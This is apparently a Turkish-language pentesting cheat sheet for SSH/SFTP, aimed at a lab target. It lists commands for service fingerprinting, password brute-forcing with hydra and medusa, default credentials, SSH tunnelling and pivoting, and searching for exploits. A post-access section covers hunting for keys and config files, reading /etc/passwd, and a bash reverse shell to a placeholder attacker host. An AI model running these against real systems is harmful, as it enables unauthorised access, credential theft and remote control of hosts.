22 - Pentesting SSH/SFTP

SSH shell

SSH banner/algo, zayıf parola ve key ile kabuk; local/remote forward pivot. Hedef lab IP’si üzerinde komutları 22 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 22 fingerprint.

2. Auth methods.

3. Brute/key.

4. Tunnel.

Keşif

nmap -Pn -sV -p22 TARGET

nmap -Pn -p22 --script ssh-auth-methods,ssh-hostkey TARGET

ssh -v TARGET

ssh-audit TARGET

Access

hydra -L users.txt -P pass.txt ssh://TARGET -t 4

nxc ssh TARGET -u users.txt -p pass.txt

ssh -i id_rsa user@TARGET

Tunnel

ssh -L 8080:127.0.0.1:80 user@TARGET

ssh -D 9050 user@TARGET

ssh -R 0.0.0.0:2222:127.0.0.1:22 user@TARGET

Derin enum

SSH/SFTP için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p22 TARGET

nmap -Pn -p22 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:22' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',22));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → SSH/SFTP

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 22 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 22

nmap -p22 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit SSH

msfconsole -q -x 'search SSH; exit'

nuclei -u https://TARGET:22 -t cves/ -silent -severity || true

nuclei -u http://TARGET:22 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 22

printf '
' | timeout 3 nc -nv TARGET 22

curl -vk --http1.0 http://TARGET:22/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

enum → creds/key → shell → tunnels